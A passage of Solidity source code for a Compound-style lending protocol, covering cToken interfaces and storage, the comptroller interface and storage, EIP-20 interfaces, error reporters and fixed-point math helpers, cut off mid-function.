* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModel(InterestRateModel newInterestRateModel) public override returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed
return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED);
}
// _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to.
return _setInterestRateModelFresh(newInterestRateModel);
}
/**
* @notice updates the interest rate model (*requires fresh interest accrual)
* @dev Admin function to update the interest rate model
* @param newInterestRateModel the new interest rate model to use
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) {
// Used to store old model for use in the event that is emitted on success
InterestRateModel oldInterestRateModel;
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK);
}
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK);
}
// Track the market's current interest rate model
oldInterestRateModel = interestRateModel;
// Ensure invoke newInterestRateModel.isInterestRateModel() returns true
require(newInterestRateModel.isInterestRateModel(), "marker method returned false");
// Set the interest rate model to newInterestRateModel
interestRateModel = newInterestRateModel;
// Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel)
emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel);
return uint(Error.NO_ERROR);
}
/*** Safe Token ***/
/**
* @notice Gets balance of this contract in terms of the underlying
* @dev This excludes the value of the current message, if any
* @return The quantity of underlying owned by this contract
*/
function getCashPrior() internal view virtual returns (uint);
/**
* @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee.
* This may revert due to insufficient balance or insufficient allowance.
*/
function doTransferIn(address from, uint amount) internal virtual returns (uint);
/**
* @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting.
* If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract.
* If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions.
*/
function doTransferOut(address payable to, uint amount) internal virtual;
/*** Reentrancy Guard ***/
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
*/
modifier nonReentrant() {
require(_notEntered, "re-entered");
_notEntered = false;
_;
_notEntered = true; // get a gas-refund post-Istanbul
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./ComptrollerInterface.sol";
import "./InterestRateModel.sol";
contract CTokenStorage {
/**
* @dev Guard variable for re-entrancy checks
*/
bool internal _notEntered;
/**
* @notice EIP-20 token name for this token
*/
string public name;
/**
* @notice EIP-20 token symbol for this token
*/
string public symbol;
/**
* @notice EIP-20 token decimals for this token
*/
uint8 public decimals;
/**
* @notice Maximum borrow rate that can ever be applied (.0005% / block)
*/
uint internal constant borrowRateMaxMantissa = 0.0005e16;
/**
* @notice Maximum fraction of interest that can be set aside for reserves
*/
uint internal constant reserveFactorMaxMantissa = 1e18;
/**
* @notice Administrator for this contract
*/
address payable public admin;
/**
* @notice Pending administrator for this contract
*/
address payable public pendingAdmin;
/**
* @notice Contract which oversees inter-cToken operations
*/
ComptrollerInterface public comptroller;
/**
* @notice Model which tells what the current interest rate should be
*/
InterestRateModel public interestRateModel;
/**
* @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0)
*/
uint internal initialExchangeRateMantissa;
/**
* @notice Fraction of interest currently set aside for reserves
*/
uint public reserveFactorMantissa;
/**
* @notice Block number that interest was last accrued at
*/
uint public accrualBlockNumber;
/**
* @notice Accumulator of the total earned interest rate since the opening of the market
*/
uint public borrowIndex;
/**
* @notice Total amount of outstanding borrows of the underlying in this market
*/
uint public totalBorrows;
/**
* @notice Total amount of reserves of the underlying held in this market
*/
uint public totalReserves;
/**
* @notice Total number of tokens in circulation
*/
uint public totalSupply;
/**
* @notice Official record of token balances for each account
*/
mapping (address => uint) internal accountTokens;
/**
* @notice Approved token transfer amounts on behalf of others
*/
mapping (address => mapping (address => uint)) internal transferAllowances;
/**
* @notice Container for borrow balance information
* @member principal Total balance (with accrued interest), after applying the most recent balance-changing action
* @member interestIndex Global borrowIndex as of the most recent balance-changing action
*/
struct BorrowSnapshot {
uint principal;
uint interestIndex;
}
/**
* @notice Mapping of account addresses to outstanding borrow balances
*/
mapping(address => BorrowSnapshot) internal accountBorrows;
}
abstract contract CTokenInterface is CTokenStorage {
/**
* @notice Indicator that this is a CToken contract (for inspection)
*/
bool public constant isCToken = true;
/*** Market Events ***/
/**
* @notice Event emitted when interest is accrued
*/
event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows);
/**
* @notice Event emitted when tokens are minted
*/
event Mint(address minter, uint mintAmount, uint mintTokens);
/**
* @notice Event emitted when tokens are redeemed
*/
event Redeem(address redeemer, uint redeemAmount, uint redeemTokens);
/**
* @notice Event emitted when underlying is borrowed
*/
event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows);
/**
* @notice Event emitted when a borrow is repaid
*/
event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows);
/**
* @notice Event emitted when a borrow is liquidated
*/
event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens);
/*** Admin Events ***/
/**
* @notice Event emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Event emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
/**
* @notice Event emitted when comptroller is changed
*/
event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller);
/**
* @notice Event emitted when interestRateModel is changed
*/
event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel);
/**
* @notice Event emitted when the reserve factor is changed
*/
event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa);
/**
* @notice Event emitted when the reserves are added
*/
event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves);
/**
* @notice Event emitted when the reserves are reduced
*/
event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves);
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint amount);
/**
* @notice Failure event
*/
event Failure(uint error, uint info, uint detail);
/*** User Interface ***/
function transfer(address dst, uint amount) external virtual returns (bool);
function transferFrom(address src, address dst, uint amount) external virtual returns (bool);
function approve(address spender, uint amount) external virtual returns (bool);
function allowance(address owner, address spender) external view virtual returns (uint);
function balanceOf(address owner) external view virtual returns (uint);
function balanceOfUnderlying(address owner) external virtual returns (uint);
function getAccountSnapshot(address account) external view virtual returns (uint, uint, uint, uint);
function borrowRatePerBlock() external view virtual returns (uint);
function supplyRatePerBlock() external view virtual returns (uint);
function totalBorrowsCurrent() external virtual returns (uint);
function borrowBalanceCurrent(address account) external virtual returns (uint);
function borrowBalanceStored(address account) public view virtual returns (uint);
function exchangeRateCurrent() public virtual returns (uint);
function exchangeRateStored() public view virtual returns (uint);
function getCash() external view virtual returns (uint);
function accrueInterest() public virtual returns (uint);
function seize(address liquidator, address borrower, uint seizeTokens) external virtual returns (uint);
/*** Admin Functions ***/
function _setPendingAdmin(address payable newPendingAdmin) external virtual returns (uint);
function _acceptAdmin() external virtual returns (uint);
function _setComptroller(ComptrollerInterface newComptroller) public virtual returns (uint);
function _setReserveFactor(uint newReserveFactorMantissa) external virtual returns (uint);
function _reduceReserves(uint reduceAmount) external virtual returns (uint);
function _setInterestRateModel(InterestRateModel newInterestRateModel) public virtual returns (uint);
}
contract CErc20Storage {
/**
* @notice Underlying asset for this CToken
*/
address public underlying;
}
abstract contract CErc20Interface is CErc20Storage {
/*** User Interface ***/
function mint(uint mintAmount) external virtual returns (uint);
function redeem(uint redeemTokens) external virtual returns (uint);
function redeemUnderlying(uint redeemAmount) external virtual returns (uint);
function borrow(uint borrowAmount) external virtual returns (uint);
function repayBorrow(uint repayAmount) external virtual returns (uint);
function repayBorrowBehalf(address borrower, uint repayAmount) external virtual returns (uint);
function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external virtual returns (uint);
/*** Admin Functions ***/
function _addReserves(uint addAmount) external virtual returns (uint);
}
contract CDelegationStorage {
/**
* @notice Implementation address for this contract
*/
address public implementation;
}
abstract contract CDelegatorInterface is CDelegationStorage {
/**
* @notice Emitted when implementation is changed
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Called by the admin to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public virtual;
}
abstract contract CDelegateInterface is CDelegationStorage {
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @dev Should revert if any issues arise which make it unfit for delegation
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public virtual;
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public virtual;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title Careful Math
* @author Compound
* @notice Derived from OpenZeppelin's SafeMath library
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract CarefulMath {
/**
* @dev Possible error codes that we can return
*/
enum MathError {
NO_ERROR,
DIVISION_BY_ZERO,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW
}
/**
* @dev Multiplies two numbers, returns an error on overflow.
*/
function mulUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (a == 0) {
return (MathError.NO_ERROR, 0);
}
uint c = a * b;
if (c / a != b) {
return (MathError.INTEGER_OVERFLOW, 0);
} else {
return (MathError.NO_ERROR, c);
}
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function divUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b == 0) {
return (MathError.DIVISION_BY_ZERO, 0);
}
return (MathError.NO_ERROR, a / b);
}
/**
* @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).
*/
function subUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b <= a) {
return (MathError.NO_ERROR, a - b);
} else {
return (MathError.INTEGER_UNDERFLOW, 0);
}
}
/**
* @dev Adds two numbers, returns an error on overflow.
*/
function addUInt(uint a, uint b) internal pure returns (MathError, uint) {
uint c = a + b;
if (c >= a) {
return (MathError.NO_ERROR, c);
} else {
return (MathError.INTEGER_OVERFLOW, 0);
}
}
/**
* @dev add a and b and then subtract c
*/
function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) {
(MathError err0, uint sum) = addUInt(a, b);
if (err0 != MathError.NO_ERROR) {
return (err0, 0);
}
return subUInt(sum, c);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract ComptrollerInterface {
/// @notice Indicator that this is a Comptroller contract (for inspection)
bool public constant isComptroller = true;
/*** Assets You Are In ***/
function enterMarkets(address[] calldata cTokens) external virtual returns (uint[] memory);
function exitMarket(address cToken) external virtual returns (uint);
/*** Policy Hooks ***/
function mintAllowed(address cToken, address minter, uint mintAmount) external virtual returns (uint);
function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external virtual;
function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external virtual returns (uint);
function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external virtual;
function borrowAllowed(address cToken, address borrower, uint borrowAmount) external virtual returns (uint);
function borrowVerify(address cToken, address borrower, uint borrowAmount) external virtual;
function repayBorrowAllowed(
address cToken,
address payer,
address borrower,
uint repayAmount) external virtual returns (uint);
function repayBorrowVerify(
address cToken,
address payer,
address borrower,
uint repayAmount,
uint borrowerIndex) external virtual;
function liquidateBorrowAllowed(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount) external virtual returns (uint);
function liquidateBorrowVerify(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount,
uint seizeTokens) external virtual;
function seizeAllowed(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external virtual returns (uint);
function seizeVerify(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external virtual;
function transferAllowed(address cToken, address src, address dst, uint transferTokens) external virtual returns (uint);
function transferVerify(address cToken, address src, address dst, uint transferTokens) external virtual;
/*** Liquidity/Liquidation Calculations ***/
function liquidateCalculateSeizeTokens(
address cTokenBorrowed,
address cTokenCollateral,
uint repayAmount) external virtual returns (uint, uint);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./CToken.sol";
import "./PriceOracle.sol";
contract UnitrollerAdminStorage {
/**
* @notice Administrator for this contract
*/
address public admin;
/**
* @notice Pending administrator for this contract
*/
address public pendingAdmin;
/**
* @notice Active brains of Unitroller
*/
address public comptrollerImplementation;
/**
* @notice Pending brains of Unitroller
*/
address public pendingComptrollerImplementation;
}
contract ComptrollerV1Storage is UnitrollerAdminStorage {
/**
* @notice Oracle which gives the price of any given asset
*/
PriceOracle public oracle;
/**
* @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow
*/
uint public closeFactorMantissa;
/**
* @notice Multiplier representing the discount on collateral that a liquidator receives
*/
uint public liquidationIncentiveMantissa;
/**
* @notice Max number of assets a single account can participate in (borrow or use as collateral)
*/
uint public maxAssets;
/**
* @notice Per-account mapping of "assets you are in", capped by maxAssets
*/
mapping(address => CToken[]) public accountAssets;
}
contract ComptrollerV2Storage is ComptrollerV1Storage {
struct Market {
/// @notice Whether or not this market is listed
bool isListed;
/**
* @notice Multiplier representing the most one can borrow against their collateral in this market.
* For instance, 0.9 to allow borrowing 90% of collateral value.
* Must be between 0 and 1, and stored as a mantissa.
*/
uint collateralFactorMantissa;
/// @notice Per-market mapping of "accounts in this asset"
mapping(address => bool) accountMembership;
/// @notice Whether or not this market receives COMP
bool isComped;
}
/**
* @notice Official mapping of cTokens -> Market metadata
* @dev Used e.g. to determine if a market is supported
*/
mapping(address => Market) public markets;
/**
* @notice The Pause Guardian can pause certain actions as a safety mechanism.
* Actions which allow users to remove their own assets cannot be paused.
* Liquidation / seizing / transfer can only be paused globally, not by market.
*/
address public pauseGuardian;
bool public _mintGuardianPaused;
bool public _borrowGuardianPaused;
bool public transferGuardianPaused;
bool public seizeGuardianPaused;
mapping(address => bool) public mintGuardianPaused;
mapping(address => bool) public borrowGuardianPaused;
}
contract ComptrollerV3Storage is ComptrollerV2Storage {
struct CompMarketState {
/// @notice The market's last updated compBorrowIndex or compSupplyIndex
uint224 index;
/// @notice The block number the index was last updated at
uint32 block;
}
/// @notice A list of all markets
CToken[] public allMarkets;
/// @notice The rate at which the flywheel distributes COMP, per block
uint public compRate;
/// @notice The portion of compRate that each market currently receives
mapping(address => uint) public compSpeeds;
/// @notice The COMP market supply state for each market
mapping(address => CompMarketState) public compSupplyState;
/// @notice The COMP market borrow state for each market
mapping(address => CompMarketState) public compBorrowState;
/// @notice The COMP borrow index for each market for each supplier as of the last time they accrued COMP
mapping(address => mapping(address => uint)) public compSupplierIndex;
/// @notice The COMP borrow index for each market for each borrower as of the last time they accrued COMP
mapping(address => mapping(address => uint)) public compBorrowerIndex;
/// @notice The COMP accrued but not yet transferred to each user
mapping(address => uint) public compAccrued;
}
contract ComptrollerV4Storage is ComptrollerV3Storage {
// @notice The borrowCapGuardian can set borrowCaps to any number for any market. Lowering the borrow cap could disable borrowing on the given market.
address public borrowCapGuardian;
// @notice Borrow caps enforced by borrowAllowed for each cToken address. Defaults to zero which corresponds to unlimited borrowing.
mapping(address => uint) public borrowCaps;
// address of comp token
address public comp;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title ERC 20 Token Standard Interface
* https://eips.ethereum.org/EIPS/eip-20
*/
interface EIP20Interface {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return balance The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return success Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external returns (bool success);
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return success Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external returns (bool success);
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return success Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return remaining The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title EIP20NonStandardInterface
* @dev Version of ERC20 with no return values for `transfer` and `transferFrom`
* See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
interface EIP20NonStandardInterface {
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return balance The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transferFrom(address src, address dst, uint256 amount) external;
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved
* @return success Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return remaining The number of tokens allowed to be spent
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
contract ComptrollerErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
COMPTROLLER_MISMATCH,
INSUFFICIENT_SHORTFALL,
INSUFFICIENT_LIQUIDITY,
INVALID_CLOSE_FACTOR,
INVALID_COLLATERAL_FACTOR,
INVALID_LIQUIDATION_INCENTIVE,
MARKET_NOT_ENTERED, // no longer possible
MARKET_NOT_LISTED,
MARKET_ALREADY_LISTED,
MATH_ERROR,
NONZERO_BORROW_BALANCE,
PRICE_ERROR,
REJECTION,
SNAPSHOT_ERROR,
TOO_MANY_ASSETS,
TOO_MUCH_REPAY
}
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK,
EXIT_MARKET_BALANCE_OWED,
EXIT_MARKET_REJECTION,
SET_CLOSE_FACTOR_OWNER_CHECK,
SET_CLOSE_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_NO_EXISTS,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_WITHOUT_PRICE,
SET_IMPLEMENTATION_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_VALIDATION,
SET_MAX_ASSETS_OWNER_CHECK,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_PENDING_IMPLEMENTATION_OWNER_CHECK,
SET_PRICE_ORACLE_OWNER_CHECK,
SUPPORT_MARKET_EXISTS,
SUPPORT_MARKET_OWNER_CHECK,
SET_PAUSE_GUARDIAN_OWNER_CHECK
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint error, uint info, uint detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
contract TokenErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
BAD_INPUT,
COMPTROLLER_REJECTION,
COMPTROLLER_CALCULATION_ERROR,
INTEREST_RATE_MODEL_ERROR,
INVALID_ACCOUNT_PAIR,
INVALID_CLOSE_AMOUNT_REQUESTED,
INVALID_COLLATERAL_FACTOR,
MATH_ERROR,
MARKET_NOT_FRESH,
MARKET_NOT_LISTED,
TOKEN_INSUFFICIENT_ALLOWANCE,
TOKEN_INSUFFICIENT_BALANCE,
TOKEN_INSUFFICIENT_CASH,
TOKEN_TRANSFER_IN_FAILED,
TOKEN_TRANSFER_OUT_FAILED
}
/*
* Note: FailureInfo (but not Error) is kept in alphabetical order
* This is because FailureInfo grows significantly faster, and
* the order of Error has some meaning, while the order of FailureInfo
* is entirely arbitrary.
*/
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED,
ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED,
ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED,
BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
BORROW_ACCRUE_INTEREST_FAILED,
BORROW_CASH_NOT_AVAILABLE,
BORROW_FRESHNESS_CHECK,
BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
BORROW_MARKET_NOT_LISTED,
BORROW_COMPTROLLER_REJECTION,
LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED,
LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED,
LIQUIDATE_COLLATERAL_FRESHNESS_CHECK,
LIQUIDATE_COMPTROLLER_REJECTION,
LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED,
LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX,
LIQUIDATE_CLOSE_AMOUNT_IS_ZERO,
LIQUIDATE_FRESHNESS_CHECK,
LIQUIDATE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_REPAY_BORROW_FRESH_FAILED,
LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED,
LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED,
LIQUIDATE_SEIZE_COMPTROLLER_REJECTION,
LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_SEIZE_TOO_MUCH,
MINT_ACCRUE_INTEREST_FAILED,
MINT_COMPTROLLER_REJECTION,
MINT_EXCHANGE_CALCULATION_FAILED,
MINT_EXCHANGE_RATE_READ_FAILED,
MINT_FRESHNESS_CHECK,
MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
MINT_TRANSFER_IN_FAILED,
MINT_TRANSFER_IN_NOT_POSSIBLE,
REDEEM_ACCRUE_INTEREST_FAILED,
REDEEM_COMPTROLLER_REJECTION,
REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED,
REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED,
REDEEM_EXCHANGE_RATE_READ_FAILED,
REDEEM_FRESHNESS_CHECK,
REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
REDEEM_TRANSFER_OUT_NOT_POSSIBLE,
REDUCE_RESERVES_ACCRUE_INTEREST_FAILED,
REDUCE_RESERVES_ADMIN_CHECK,
REDUCE_RESERVES_CASH_NOT_AVAILABLE,
REDUCE_RESERVES_FRESH_CHECK,
REDUCE_RESERVES_VALIDATION,
REPAY_BEHALF_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_COMPTROLLER_REJECTION,
REPAY_BORROW_FRESHNESS_CHECK,
REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COMPTROLLER_OWNER_CHECK,
SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED,
SET_INTEREST_RATE_MODEL_FRESH_CHECK,
SET_INTEREST_RATE_MODEL_OWNER_CHECK,
SET_MAX_ASSETS_OWNER_CHECK,
SET_ORACLE_MARKET_NOT_LISTED,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED,
SET_RESERVE_FACTOR_ADMIN_CHECK,
SET_RESERVE_FACTOR_FRESH_CHECK,
SET_RESERVE_FACTOR_BOUNDS_CHECK,
TRANSFER_COMPTROLLER_REJECTION,
TRANSFER_NOT_ALLOWED,
TRANSFER_NOT_ENOUGH,
TRANSFER_TOO_MUCH,
ADD_RESERVES_ACCRUE_INTEREST_FAILED,
ADD_RESERVES_FRESH_CHECK,
ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint error, uint info, uint detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./CarefulMath.sol";
/**
* @title Exponential module for storing fixed-precision decimals
* @author Compound
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract Exponential is CarefulMath {
uint constant expScale = 1e18;
uint constant doubleScale = 1e36;
uint constant halfExpScale = expScale/2;
uint constant mantissaOne = expScale;
struct Exp {
uint mantissa;
}
struct Double {
uint mantissa;
}
/**
* @dev Creates an exponential from numerator and denominator values.
* Note: Returns an error if (`num` * 10e18) > MAX_INT,
* or if `denom` is zero.
*/
function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledNumerator) = mulUInt(num, expScale);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint rational) = divUInt(scaledNumerator, denom);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: rational}));
}
/**
* @dev Adds two exponentials, returning a new exponential.
*/
function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = addUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Subtracts two exponentials, returning a new exponential.
*/
function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = subUInt(a.mantissa, b.mantissa);
